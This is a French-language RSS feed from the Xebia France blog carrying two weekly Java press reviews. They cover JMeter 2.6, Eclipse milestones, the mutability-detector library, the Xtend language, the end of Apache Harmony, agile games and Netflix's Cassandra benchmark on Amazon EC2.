<?xml version="1.0" encoding="UTF-8"?> <rss
version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
xmlns:media="http://search.yahoo.com/mrss/"
> <channel><title>Blog Xebia France &#187; Eclipse</title> <atom:link href="http://blog.xebia.fr/tag/eclipse/feed/" rel="self" type="application/rss+xml" /><link>http://blog.xebia.fr</link> <description>J2EE, Agilité et SOA</description> <lastBuildDate>Wed, 08 Feb 2012 09:23:16 +0000</lastBuildDate> <language>fr</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=</generator> <copyright>CC BY-NC-ND 2.0 http://creativecommons.org/licenses/by-nc-nd/2.0/fr/</copyright> <managingEditor>blog-france@xebia.com (Xebia France)</managingEditor> <webMaster>blog-france@xebia.com (Xebia France)</webMaster> <ttl>1440</ttl> <image> <url>http://blog.xebia.fr/videos/xebia-podcast.png</url><title>Blog Xebia France</title><link>http://blog.xebia.fr</link> <width>144</width> <height>144</height> </image> <itunes:new-feed-url>http://blog.xebia.fr/feed/podcast/</itunes:new-feed-url> <itunes:subtitle>Les podcasts de Xebia France vous permettent de suivre l&#039;actualité autour de Java, de l&#039;agilité, des technologies Web et bien d&#039;autres. Xebia France est une entreprise spécialisée dans les technologies Java et JEE en environnement agi[...]</itunes:subtitle> <itunes:summary>Les podcasts de Xebia France vous permettent de suivre l&#039;actualité autour de Java, de l&#039;agilité, des technologies Web et bien d&#039;autres. Xebia France est une entreprise spécialisée dans les technologies Java et JEE en environnement agile.</itunes:summary> <itunes:keywords>Xebia, Java, JEE, SOA, Agile, Méthodes, Agiles</itunes:keywords> <itunes:category text="Technology" /> <itunes:category text="Technology"> <itunes:category text="Software How-To" /> </itunes:category> <itunes:category text="Technology"> <itunes:category text="Tech News" /> </itunes:category> <itunes:author>Xebia France</itunes:author> <itunes:owner> <itunes:name>Xebia France</itunes:name> <itunes:email>blog-france@xebia.com</itunes:email> </itunes:owner> <itunes:block>no</itunes:block> <itunes:explicit>no</itunes:explicit> <itunes:image href="http://blog.xebia.fr/videos/xebia-podcast.png" /> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2012/02/07/revue-de-presse-xebia-2012-06/</link> <comments>http://blog.xebia.fr/2012/02/07/revue-de-presse-xebia-2012-06/#comments</comments> <pubDate>Tue, 07 Feb 2012 08:04:38 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[clojure]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[FOSDEM]]></category> <category><![CDATA[jmeter]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=10601</guid> <description><![CDATA[La revue de presse hebdomadaire des écosystèmes Java/JEE proposée par Xebia. Actualité éditeurs / SSII Sortie de JMeter en version 2.6 (Par Benoit Lemoine) Eclipse 3.8 M5 (Par Nicolas Demengel) Le coin de la technique mutability-detector (Par Nicolas Demengel) Evénements de notre communauté en France et à l&#8217;étranger Podcasts Java et&#8230; Clojure (Par Bertrand Dechoux) [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse hebdomadaire des écosystèmes Java/JEE proposée par Xebia.</em></p><p><strong>Actualité  éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2012/02/07/revue-de-presse-xebia-2012-06#RevuedePresseXebia-SortiedeJMeterenversion2.6">Sortie de JMeter en version 2.6</a> <em>(Par Benoit Lemoine)</em></li><li><a
href="http://blog.xebia.fr/2012/02/07/revue-de-presse-xebia-2012-06#RevuedePresseXebia-Eclipse3.8M5">Eclipse 3.8 M5</a> <em>(Par <a
href="http://blog.xebia.fr/author/ndemengel/" rel="nofollow">Nicolas Demengel</a>)</em></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2012/02/07/revue-de-presse-xebia-2012-06#RevuedePresseXebia-mutabilitydetector">mutability-detector</a> <em>(Par <a
href="http://blog.xebia.fr/author/ndemengel/" rel="nofollow">Nicolas Demengel</a>)</em></li></ul><p><strong>Evénements de notre communauté en France et à l&#8217;étranger</strong></p><ul><li><a
href="http://blog.xebia.fr/2012/02/07/revue-de-presse-xebia-2012-06#RevuedePresseXebia-PodcastsJavaet...Clojure">Podcasts Java et&#8230; Clojure</a> <em>(Par <a
href="http://blog.xebia.fr/author/bdechoux/" rel="nofollow">Bertrand Dechoux</a>)</em></li></ul><h3><a
name="RevuedePresseXebia-Actualit%C3%A9%C3%A9diteurs%2FSSII"></a>Actualité  éditeurs / SSII</h3><h4><a
name="RevuedePresseXebia-SortiedeJMeterenversion2.6"></a>Sortie de JMeter en version 2.6</h4><p>Pour sa première version en tant que projet Top Level de Apache, <a
href="http://jmeter.apache.org/" rel="nofollow">JMeter</a> 2.6 apporte de nombreuses nouveautés, dont la liste exhaustive est disponible directement sur <a
href="http://jmeter.apache.org/changes.html" rel="nofollow">la page du projet</a>.</p><p>Le célèbre logiciel de test de charge écrit en Java se voit doter, entre autres, d&#8217;une toolbar, d&#8217;un nouveau système de recherche par mots-clés, ou encore d&#8217;un sampler HTTP Raw facilitant le test d&#8217;applications GWT ou SOAP. Cette nouvelle version corrige par ailleurs une vingtaine de bugs et ajoute une intégration plus prononcée avec l&#8217;OS en gérant les copier/coller et les glisser/déposer de fichiers.</p><h4><a
name="RevuedePresseXebia-Eclipse3.8M5"></a>Eclipse 3.8 M5</h4><p>La Milestone M5 de Eclipse 3.8 (Juno) a été livrée la semaine dernière, l&#8217;occasion pour nous de faire un point <a
href="http://download.eclipse.org/eclipse/downloads/drops/S-3.8M1-201108031800/eclipse-news-M1.html" rel="nofollow">sur</a> <a
href="http://download.eclipse.org/eclipse/downloads/drops4/S-4.2M2-201109161615/eclipse-news-M2.html" rel="nofollow">les</a> <a
href="http://download.eclipse.org/eclipse/downloads/drops4/S-4.2M3-201110281100/eclipse-news-M3.html" rel="nofollow">principales</a> <a
href="http://download.eclipse.org/eclipse/downloads/drops4/S-4.2M4-201112092100/eclipse-news-M4.html" rel="nofollow">fonctionnalités</a> <a
href="http://download.eclipse.org/eclipse/downloads/drops4/S-4.2M5-201201271145/eclipse-news-M5.html" rel="nofollow">promises</a> par la future version d&#8217;Eclipse :</p><ul><li>conversion facile des boucles &laquo;&nbsp;for each&nbsp;&raquo; vers un autre type de boucle (avec index ou avec iterateur, selon l&#8217;objet sur lequel on itère) via l&#8217;assistant contextuel ;</li><li>la détection de fuites mémoire potentielles ou avérées dans le code ;</li><li>la détection de violations des annotations @Nullable et @NonNull ;</li><li>l&#8217;inclusion des champs de classe dans l&#8217;analyse des variables potentiellement nulles lors de leur utilisation ;</li><li>une barre d&#8217;outils simplifiée pour le mode debug et une amélioration des performances des vues associées ;</li><li>l&#8217;ajout des annotations de paramètres dans l&#8217;explorateur de Javadoc ;</li><li>des évolutions et options cosmétiques ;</li><li>de nombreuses évolutions à l&#8217;attention des développeurs de plugins.</li></ul><p>Cette version intégrera bien évidemment le support de Java 7. Pour rappel, ce support a déjà été intégré dans la version 3.7.1 (voir la liste de <a
href="http://www.eclipse.org/jdt/ui/r3_8/Java7news/whats-new-java-7.html" rel="nofollow">ce qui est supporté</a>).</p><p>A noter aussi que depuis quelques années se prépare la nouvelle architecture d&#8217;Eclipse, qui aura beaucoup d&#8217;impact pour les développeurs travaillant sur la plateforme, et qui devrait se traduire notamment par des évolutions de l&#8217;interface pour les utilisateurs. Cette nouvelle version majeure contiendra également les nouveautés listées précédemment dans sa version 4.2.</p><h3><a
name="RevuedePresseXebia-Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="RevuedePresseXebia-mutabilitydetector"></a>mutability-detector</h4><p>Ce week-end s&#8217;est déroulé à Bruxelles le Free and Open source Software Developers&#8217; European Meeting (FOSDEM). Bien que n&#8217;y étant pas nous-mêmes, certains tweets (<a
href="http://twitter.com/Piwai" rel="nofollow">@Piwai</a> pour l&#8217;exemple) ont porté à notre attention l&#8217;outil <a
href="http://code.google.com/p/mutability-detector/" rel="nofollow">mutability-detector</a> qui y était présenté.</p><p>Cette librairie Java se propose de détecter si nos classes sont immuables ou non, avec un certain indice de confiance : <code>IMMUTABLE</code> (totalement immuable), <code>EFFECTIVELY_IMMUTABLE</code> (immuable à condition de rester maître de l&#8217;utilisation de la classe, par exemple si elle peut être étendue), <code>NOT_IMMUTABLE</code> (absolument pas immuable). Pour ce faire, elle applique les règles formalisées par Josh Bloch dans <a
href="http://www.amazon.fr/Effective-Java-Joshua-Bloch/dp/0321356683" rel="nofollow">Effective Java</a>.</p><p>L&#8217;outil propose deux modes de fonctionnement :</p><ul><li>analyse statique :<pre class="brush: java; gutter: false; title: ; notranslate">
java -jar MutabilityDetector.jar -classpath path/to/MyCodebase
</pre></li></ul><ul><li>ou utilisation au runtime, dans un test unitaire par exemple :<pre class="brush: java; gutter: false; title: ; notranslate">
import static org.mutabilitydetector.unittesting.AllowedReason.*;
import static org.mutabilitydetector.unittesting.MutabilityAssert.*;
import static org.mutabilitydetector.unittesting.MutabilityMatchers.*;
@Test public void checkMyClassIsImmutable() {
  assertImmutable(MyClass.class);
}
// on précise ici que l'on veut pouvoir sous-classer la classe en en comprenant les implications
@Test public void checkMyClassIsImmutable() {
  assertInstancesOf(AbstractIntHolder.class, areImmutable(), allowingForSubclassing());
}
</pre></li></ul><p>Un exemple de sortie :</p><pre class="brush: java; gutter: false; title: ; notranslate">
org.mutabilitydetector.unittesting.MutabilityAssertionError:
Expected: MyClass to be IMMUTABLE
  but: MyClass is actually NOT_IMMUTABLE
  Reasons:
    Can be subclassed, therefore parameters declared to be this type could be mutable subclasses at runtime. [Class: MyClass]
    Field is not final, if shared across threads the Java Memory Model will not guarantee it is initialised before it is read. [Field: name, Class: MyClass]
    Field [name] can be reassigned within method [setName] [Class: MyClass]
    Field can have a mutable type (java.lang.String) assigned to it. [Field: name, Class: MyClass]
</pre><p>mutability-detector se présente donc comme un outil intéressant pour se prémunir de mauvaises surprises dans une base de code pas très bien maîtrisée qui reposerait sur de la programmation concurrente. Il s&#8217;agit aussi d&#8217;un moyen comme un autre d&#8217;apprendre les règles de l&#8217;immutabilité.</p><p>On notera tout de même que l&#8217;outil n&#8217;est &#8211; des dires de son auteur &#8211; pas encore prêt pour un usage intensif. A surveiller donc !</p><h3><a
name="RevuedePresseXebia-Ev%C3%A9nementsdenotrecommunaut%C3%A9enFranceet%C3%A0l%27%C3%A9tranger"></a>Evénements de notre communauté en France et à l&#8217;étranger</h3><h4><a
name="RevuedePresseXebia-PodcastsJavaet...Clojure"></a>Podcasts Java et&#8230; Clojure</h4><p>Les podcasts sont un médium unique pour rester en contact avec la communauté. Les javaïstes connaîtront bien sûr les <a
href="http://lescastcodeurs.com" rel="nofollow">Cast Codeurs</a> (en français) ou encore <a
href="http://javaposse.com" rel="nofollow">Java Posse</a> (en anglais). Mais la JVM ne se limite pas à Java. Et les clojuriens commencent également à avoir leurs podcasts : <a
href="http://mostlylazy.com" rel="nofollow">Mostly lazy</a> ou encore <a
href="http://thinkrelevance.com/blog/tags/podcast" rel="nofollow">Think relevance</a>. On y parle entre autres d&#8217;<a
href="http://avout.io" rel="nofollow">avout</a>, permettant d&#8217;utiliser le modèle d&#8217;état de Clojure dans un environnement distribué mais aussi de <a
href="https://github.com/clojure/clojurescript" rel="nofollow">clojureScript</a>, un GWT à la Clojure et encore d&#8217;<a
href="http://overtone.github.com" rel="nofollow">Overtone</a>, permettant de réutiliser vos compétences en programmation pour créer de la musique.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2012/02/07/revue-de-presse-xebia-2012-06/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2011/11/08/revue-de-presse-xebia-2011-46/</link> <comments>http://blog.xebia.fr/2011/11/08/revue-de-presse-xebia-2011-46/#comments</comments> <pubDate>Tue, 08 Nov 2011 09:35:49 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Agile]]></category> <category><![CDATA[Cassandra]]></category> <category><![CDATA[EC2]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[Harmony]]></category> <category><![CDATA[Performance]]></category> <category><![CDATA[Xtend]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=8982</guid> <description><![CDATA[La revue de presse hebdomadaire des écosystèmes Java/JEE proposée par Xebia. Actualité éditeurs / SSII Apache Harmony: l&#8217;accord final Eclipse souffle ses 10 bougies! Et un nouveau langage, un! Agilité ﻿﻿Jeux agiles, c&#8217;est sérieux Le coin de la technique Benchmarking de Cassandra avec Amazon EC2 Evénements de notre communauté en France et à l&#8217;étranger Velocity [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse hebdomadaire des écosystèmes Java/JEE proposée par Xebia.</em></p><p><strong>Actualité  éditeurs / SSII</strong></p><ul><li><a
href="#RevuedePresseXebia-ApacheHarmony%3Al%27accordfinal">Apache Harmony: l&#8217;accord final</a></li><li><a
href="#RevuedePresseXebia-Eclipsesouffleses10bougies%21">Eclipse souffle ses 10 bougies!</a></li><li><a
href="#RevuedePresseXebia-Etunnouveaulangage%2Cun%21">Et un nouveau langage, un!</a></li></ul><p><strong>Agilité</strong></p><ul><li><a
href="#RevuedePresseXebia-%EF%BB%BF%EF%BB%BFJeuxagiles%2Cc%27ests%C3%A9rieux">﻿﻿Jeux agiles, c&#8217;est sérieux</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="#RevuedePresseXebia-BenchmarkingdeCassandraavecAmazonEC2">Benchmarking de Cassandra avec Amazon EC2</a></li></ul><p><strong>Evénements de notre communauté en France et à l&#8217;étranger</strong></p><ul><li><a
href="#RevuedePresseXebia-VelocityEurope%C3%A0Berlinle8et9novembre">Velocity Europe à Berlin le 8 et 9 novembre</a></li></ul><h3><a
name="RevuedePresseXebia-Actualit%C3%A9%C3%A9diteurs%2FSSII"></a>Actualité  éditeurs / SSII</h3><h4><a
name="RevuedePresseXebia-ApacheHarmony%3Al%27accordfinal"></a>Apache Harmony: l&#8217;accord final</h4><p><a
href="http://article.gmane.org/gmane.comp.java.classpath.devel/5521" rel="nofollow">Lancé en 2005</a>, le projet <a
href="http://harmony.apache.org/" rel="nofollow">Harmony</a> avait pour finalité de créer un JDK distribué sous licence Apache.</p><p>Le but était noble, mais le chemin, semé d&#8217;embûches: craignant sans doute que la concurrence d&#8217;une implémentation open-source et non-virale du JDK ne lui fasse de l&#8217;ombre, Sun a toujours opposé une fin de non-recevoir aux demandes adressées <a
href="http://www.apache.org/jcp/sunopenletter.html" rel="nofollow">depuis 2006</a> par la Fondation Apache afin d&#8217;obtenir un accès au <a
href="http://jcp.org/en/resources/tdk" rel="nofollow">TCK (Technology Compatibility Kit)</a>, le précieux sésame indispensable pour qu&#8217;Harmony puisse bénéficier du label Java.</p><p><a
href="http://blog.xebia.fr/2009/04/20/oracle-rachete-sun/" rel="nofollow">L&#8217;acquisition de Sun par Oracle en 2009</a> marqua un tournant dans le monde Java, mais n&#8217;a pas vraiment changé l&#8217;ostracisme dont souffrait Harmony.</p><p>2010 fut l&#8217;année des défections: <a
href="http://blog.xebia.fr/2010/10/12/revue-de-presse-xebia-180/#IBMrejointleprojetOpenJDK" rel="nofollow">IBM d&#8217;abord</a>, son sponsor principal, puis <a
href="http://blog.xebia.fr/2010/11/16/revue-de-presse-xebia-185/#ApplevacollaborerauprojetOpenJ" rel="nofollow">Apple</a>, ont tous deux décidé d&#8217;<a
href="http://blog.xebia.fr/2010/10/26/revue-de-presse-xebia-182/#LeJDKdApplecestfini" rel="nofollow">orienter leurs développements</a> vers le projet OpenJDK, l&#8217;implémentation open-source mise en avant par Oracle – mais cette fois-ci, il s&#8217;agit d&#8217;une licence GPL, licence bel et bien virale bien qu&#8217;adoucie par l&#8217;<a
href="http://en.wikipedia.org/wiki/GPL_linking_exception#The_classpath_exception" rel="nofollow">exception de classpath</a>. <a
href="http://blog.xebia.fr/2010/10/26/revue-de-presse-xebia-182/#DurififiauJCP" rel="nofollow">C&#8217;en fut trop</a> pour la Fondation Apache, qui <a
href="http://blog.xebia.fr/2010/11/16/revue-de-presse-xebia-185/#OracleetApachedeleaudanslegaz" rel="nofollow">menaça</a> d&#8217;abord de claquer la porte du JCP (<em>Java Community Process</em>) – puis, un mois plus tard, mit ses menaces <a
href="http://blog.xebia.fr/2010/12/14/revue-de-presse-xebia-189/#JavaCommunityProcesslaFondatio" rel="nofollow">à exécution</a>.</p><p>L&#8217;année 2011 démarre sous de meilleurs auspices: c&#8217;est la réconciliation, entre Oracle et la communauté Java d&#8217;une part; entre Oracle et ses partenaires d&#8217;autre part. Mais voilà que cette réconciliation se fit autour du projet OpenJDK, paré désormais de <a
href="http://blog.xebia.fr/2011/02/08/revue-de-presse-xebia-197/#Nouvellesrglesetgouvernancedup" rel="nofollow">nouveaux statuts fédérateurs</a> et du titre d&#8217;implémentation de référence de <a
href="http://blog.xebia.fr/2011/08/02/revue-de-presse-xebia-222/#Java" rel="nofollow">Java 7</a>. Le projet Harmony se trouva alors <a
href="http://blog.xebia.fr/2011/06/15/revue-de-presse-xebia-215/#LavenirdeJavasejouemaintenant" rel="nofollow">définitivement hors-jeu</a>. Google, le seul à avoir misé sur Harmony dont il équipa son système d&#8217;exploitation Android, <a
href="http://blog.xebia.fr/2010/08/17/revue-de-presse-xebia-172/#OraclepoursuitGooglepourviolat" rel="nofollow">en fait encore les frais</a>: le procès-fleuve qui l&#8217;oppose à Oracle est en effet <a
href="http://fosspatents.blogspot.com/2011/10/oracle-google-trial-postponed-beyond.html" rel="nofollow">loin de se terminer</a>.</p><p><a
href="http://blog.xebia.fr/2011/03/22/revue-de-presse-xebia-203/#ApacheHarmonyencoredescouacs" rel="nofollow">En présentant sa démission</a> en mars dernier, Tim Ellison, alors président du PMC (<em>Project Management Committee</em>) du projet Apache Harmony, avait déjà évoqué l&#8217;hypothèse funeste d&#8217;un déplacement du projet déjà moribond vers le <a
href="http://attic.apache.org/" rel="nofollow">mouroir des projets Apache</a>. Voilà qui est malheureusement chose faite aujourd&#8217;hui: le 29 octobre dernier un vote fut lancé, et le 3 novembre, la décision fut <a
href="http://markmail.org/thread/zmd22hkyukfbibh5" rel="nofollow">validée à 20 voix contre 2</a> : c&#8217;est donc officiellement <a
href="http://www.infoq.com/news/2011/11/apache-harmony-finale" rel="nofollow">la fin du projet Harmony</a>.</p><h4><a
name="RevuedePresseXebia-Eclipsesouffleses10bougies%21"></a>Eclipse souffle ses 10 bougies!</h4><p>Nos confrères d&#8217;InfoQ <a
href="http://www.infoq.com/news/2011/11/eclipse-10" rel="nofollow">n&#8217;ont pas manqué de célébrer cette première décennie du célèbre IDE</a> et retracent sa passionnante histoire, des débuts dans le giron d&#8217;IBM, en passant par la création de la Fondation Eclipse en 2004 puis par la &laquo;&nbsp;révolution&nbsp;&raquo; OSGi, et jusqu&#8217;au succès grandissant des rassemblements annuels EclipseCon en Amérique et en Europe. Il en ressort un constat admiratif: que l&#8217;on en soit adepte ou bien détracteur, Eclipse a bel et bien marqué de son empreinte le développement logiciel de ces dernières années.</p><h4><a
name="RevuedePresseXebia-Etunnouveaulangage%2Cun%21"></a>Et un nouveau langage, un!</h4><p>Et justement, parlons-en d&#8217;Eclipse! Edité par la Fondation Eclipse, <a
href="http://www.eclipse.org/Xtext/xtend/" rel="nofollow">Xtend</a> est un langage de programmation à typage statique basé sur Java (même système de typage, support complet des generics) mais qui améliore certains de ses concepts. Ce dernier n’a pas pour ambition de détrôner Java, mais d&#8217;en étendre les capacités là où il pèche. En effet, il diminue notamment les éléments de syntaxe inutiles et rend le code plus lisible et maintenable grâce à:</p><ul><li>L’inférence de types sur les déclarations de variables, les types de retour, les boucles <code>for</code> et les closures;</li><li>L’invocation des getters et setters en accédant directement à la propriété de l’objet;</li><li>Les point-virgules deviennent optionnels mais aussi les parenthèses pour les méthodes sans arguments. Le mot clé <code>return</code> devient lui aussi optionnel, la dernière expression de la méthode est implicitement considérée comme une valeur de retour.</li></ul><p>Techniquement, le code Xtend est compilé en Java et non en <em>bytecode</em> via une compilation incrémentale. De ce fait, le code compilé peut être aisément lu et compris par un développeur Java et être utilisé pour développer sous Android ou GWT par exemple.</p><p>Aussi, Xtend vient directement avec un support IDE poussé (Eclipse naturellement), qui offre une expérience de développement quasi similaire au développement en Java standard avec les IDE modernes (coloration syntaxique, navigation, compilation incrémentale, refactoring, etc.). Il est aussi possible de naviguer depuis du code Xtend vers du Java et vice et versa.</p><p>Enfin, preuve que Xtend n’a pas pour vocation de remplacer Java mais de le moderniser, le langage est capable de produire uniquement des classes. Pour le reste (interfaces, enums et annotations), il s’appuie sur sur le modèle éprouvé de Java.</p><p>Côté &laquo;&nbsp;sucres syntaxiques&nbsp;&raquo;, voici ceux proposé par le langage:</p><ul><li>Les <a
href="http://www.eclipse.org/Xtext/xtend/#closures" rel="nofollow">closures</a>, qui restent à ce jour l’une des fonctionnalités les plus attendues pour le langage Java. La documentation montre plusieurs manières de les mettre en oeuvre.</li><li>Un <a
href="http://www.eclipse.org/Xtext/xtend/#switchexpression" rel="nofollow">bloc <code>switch</code></a> amélioré: plus aucun risque d’enchaîner les <code>case</code> par oubli du mot-clé <code>break</code>, le <code>switch</code> à la mode Xtend n&#8217;évalue qu&#8217;un seul bloc <code>case</code> tout au plus. Il offre aussi la possibilité de lui passer presque n’importe quel type d’objet (exceptés le type primitif boolean et son wrapper). De plus, l’instruction <code>case</code> a été améliorée et peut désormais effectuer toute sorte de tests sur l’objet évalué, et non plus un simple test d’égalité :</li></ul><pre class="brush: java; title: ; notranslate">
switch myString {
 case myString.length &gt; 5 : 'a long string.'
 case 'foo' : 'It's a foo.'
 default : 'It's a short nonfoo string.'
}
</pre><p>Le langage offre aussi la possibilité de typer les instructions <code>case</code> en les préfixant par un type, dans le cas où l’objet passé en paramètre du <code>switch</code> serait étendu par d’autres classes. Dès lors, un opérateur <code>instanceof</code> est évalué et un cast implicite est effecuté pour accéder aux propriétés et méthodes de l’objet:</p><pre class="brush: java; title: ; notranslate">
var Object x = ...;
switch x {
 String case x.length() &gt; 0 : x.length()
 List&lt;?&gt; : x.size()
 default : 1
}
</pre><ul><li>Les <a
href="http://www.eclipse.org/Xtext/xtend/#templateexpression" rel="nofollow">Template expressions</a> qui permettent entre autres de déclarer une chaîne de caractères sur plusieurs lignes sans utiliser l’opérateur de concaténation, mais aussi de déclarer la chaîne avec des guillemets simples (<em>single quotes</em>) pour éviter de multiplier les caractères d’échappement. Cette fonctionnalité permet aussi de formater/indenter et de gérer les whitespaces des outputs aisément.</li><li>Les <a
href="http://www.eclipse.org/Xtext/xtend/#extensionmethods" rel="nofollow">Méthodes d’extension</a> : Xtend tient son nom de sa capacité à étendre les types via des méthodes d’extensions. Ces méthodes d&#8217;extension permettent d’ajouter des méthodes à des types existants sans les modifier.</li><li>Le <a
href="http://www.eclipse.org/Xtext/xtend/#multipledispatch" rel="nofollow">Multiple dispatch</a>: plus connu sous le nom de surcharge de méthode. Par défaut, Java ou même Xtend lient les méthodes surchargées à la compilation en se basant sur les types statiques des arguments. En déclarant le mot clé <code>dispatch</code> dans la signature de la méthode, le langage permet de définir un ensemble de méthodes surchargées basé sur les types des arguments au runtime.</li></ul><p>A noter que Xtend a été développé avec <a
href="http://www.eclipse.org/Xtext/" rel="nofollow">Xtext</a>, un framework pour le développement de <a
href="http://en.wikipedia.org/wiki/Domain_specific_language" rel="nofollow">Domain Specific Langages</a>, et est basé sur <a
href="http://www.eclipse.org/Xtext/#xbase" rel="nofollow">Xbase</a>, un ensemble prédéfini d&#8217;expressions qui peuvent être utilisées simplement pour développer n&#8217;importe quel langage avec Xtext.</p><h3><a
name="RevuedePresseXebia-Agilit%C3%A9"></a>Agilité</h3><h4><a
name="RevuedePresseXebia-%EF%BB%BF%EF%BB%BFJeuxagiles%2Cc%27ests%C3%A9rieux"></a>﻿﻿Jeux agiles, c&#8217;est sérieux</h4><p>Le buzz de cet automne ce sont les jeux agiles. Le mouvement <a
href="http://www.aubryconseil.com/post/L-engouement-pour-le-jeu-agile-et-innovation" rel="nofollow">prend de l&#8217;ampleur</a> et de plus en plus d&#8217;agilistes en France se tournent vers ce type d&#8217;ateliers ludiques mais véritablement efficaces pour leur travail au quotidien, des exemples récents <a
href="http://www.agilex.fr/2011/06/lamelioration-avec-un-speed-boat/" rel="nofollow">ici</a>, ou encore <a
href="http://www.qualitystreet.fr/2011/10/14/souviens-toi-du-futur-mon-ombre-et-moi-mettre-lexperience-utilisateur-au-coeur-du-jeu/" rel="nofollow">là</a> le démontrent. Chez Xebia nous utilisons aussi des <em><a
href="http://www.innovationgames.com" rel="nofollow">Innovation Games</a></em>(R) pour cadrer un projet, résoudre des situations de blocage chez nos clients, ou simplement animer une rétrospective de sprint. Mais les jeux sont aussi un moyen d&#8217;apprentissage puissant. Lors de son passage il y a 2 semaines pour une formation Kanban chez Xebia, David Anderson nous a fait jouer à <a
href="http://getkanban.com/" rel="nofollow">getKanban</a>, un jeu qui permet de simuler la mise en oeuvre d&#8217;une gestion de projet façon Kanban. Pendant le jeu, le formateur est là pour nous éclairer sur nos prises de décisions et répondre à nos interrogations, les stagiaires sont acteurs de leur acquisition de connaissance et l&#8217;erreur est possible, voire encouragée. Si vous êtes curieux de ces techniques et souhaitez participer à une mise en oeuvre, notez dans vos agendas la <a
href="http://www.meetup.com/frenchsug/events/37782582/" rel="nofollow">SCRUM Night</a> organisée par le French SUG le 7 Décembre et dont le programme sera composé uniquement d&#8217;ateliers ludiques et de jeux sérieux (l&#8217;agenda est en cours de construction). De son côté, Xebia présentera un sujet intitulé &laquo;&nbsp;Ludification du travail&nbsp;&raquo; le 10 Novembre prochain à l&#8217;EPITA lors de sa 24ème semaine de Conférences Technologiques.</p><h3><a
name="RevuedePresseXebia-Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="RevuedePresseXebia-BenchmarkingdeCassandraavecAmazonEC2"></a>Benchmarking de Cassandra avec Amazon EC2</h4><p>Les personnes qui étaient aux derniers ateliers <a
href="http://blog.xebia.fr/tech-event/" rel="nofollow">Xebia Tech Event</a> auront remarqué l&#8217;utilisation d&#8217;Amazon EC2 afin d&#8217;équiper les participants en environnements de travail virtuels. Le site Netflix propose un retour d&#8217;expérience de l&#8217;utilisation d&#8217;Amazon EC2 dans le cadre de tests de charge du système NoSQL d&#8217;Apache, Cassandra.<br
/> La charge est produite par l&#8217;outil de <b>stress test</b> distribué fourni avec Cassandra, sur des instances créées sur Amazon EC2.</p><p>Les outils développés par Netflix sont capables de créer, en une heure, un cluster comprenant :</p><ul><li>288 instances de tailles de type M1 Extra Large (m1.xl) réparties sur trois continents;</li><li>60 instances pour le client de stress test (type m2.4xl) sur un seul continent.</li></ul><p>Netflix précise qu&#8217;Amazon a mis environ 15 minutes pour créer les 348 instances! Les 45 autres minutes de préparation de l&#8217;infrastructure ont été prises par le temps de démarrage de Linux, les JVM des injecteurs, de Cassandra et la création de l&#8217;anneau du cluster.<br
/> Le test a duré 2 heures, pour un coût total de quelques centaines de dollars. L&#8217;avantage mis en avant par Netflix d&#8217;utiliser Amazon EC2 est de pouvoir réaliser des tests à très grande échelle, en quelques heures, sans aucun pré-requis matériel ou même impacter l&#8217;infrastructure de production. Ce test aurait certainement été plus lent et plus coûteux à organiser dans un datacenter privé d&#8217;entreprise.</p><p>Netflix a mesuré deux éléments :</p><ul><li>la persistance sur le disque pour l&#8217;écriture;</li><li>la performance de cache en mémoire pour la lecture.</li></ul><p>Les tests ont été lancés avec 48, puis 96, 144 et enfin 288 instances, avec 10,20,30 et 60 clients. Vous retrouverez dans <a
href="http://techblog.netflix.com/2011/11/benchmarking-cassandra-scalability-on.html" rel="nofollow">leur billet</a> les configurations matérielles utilisées lors de ces tests. Un tableau récapitulatif donne une estimation du coût du test de charge entre chaque tir.<br
/> Etant donné que les injecteurs de tests étaient sur un continent (Amérique), et les clusters sur trois (Europe, Asie, Amérique), 2/3 du trafic était intercontinental.</p><p>Chaque injecteur génère 20 000 requêtes par seconde. Le client est connecté à 3 noeuds Cassandra. Le principe du LOCAL QUORUM est ici utilisé (on attend la réponse de N/2 + 1 noeuds pour la confirmation). Le débit d&#8217;écriture a atteint 1,1 million d&#8217;écritures par seconde sur tout le système. Avec la réplication entre chaque noeud, on arrive à 3,3 million d&#8217;écritures par seconde.<br
/> Les mesures effectuées prouvent une montée en charge linéaire de 48 à 288 instances sans identifier de goulet d&#8217;étranglement. Les mesures unitaires de chaque noeud montrent une activité équivalente, preuve que le cluster distribue correctement la charge.</p><p>Cela démontre bien les nouvelles possibilités offertes par les systèmes d&#8217;infrastructure sur demande, et les défis que cela nous permet de relever.</p><h3><a
name="RevuedePresseXebia-Ev%C3%A9nementsdenotrecommunaut%C3%A9enFranceet%C3%A0l%27%C3%A9tranger"></a>Evénements de notre communauté en France et à l&#8217;étranger</h3><h4><a
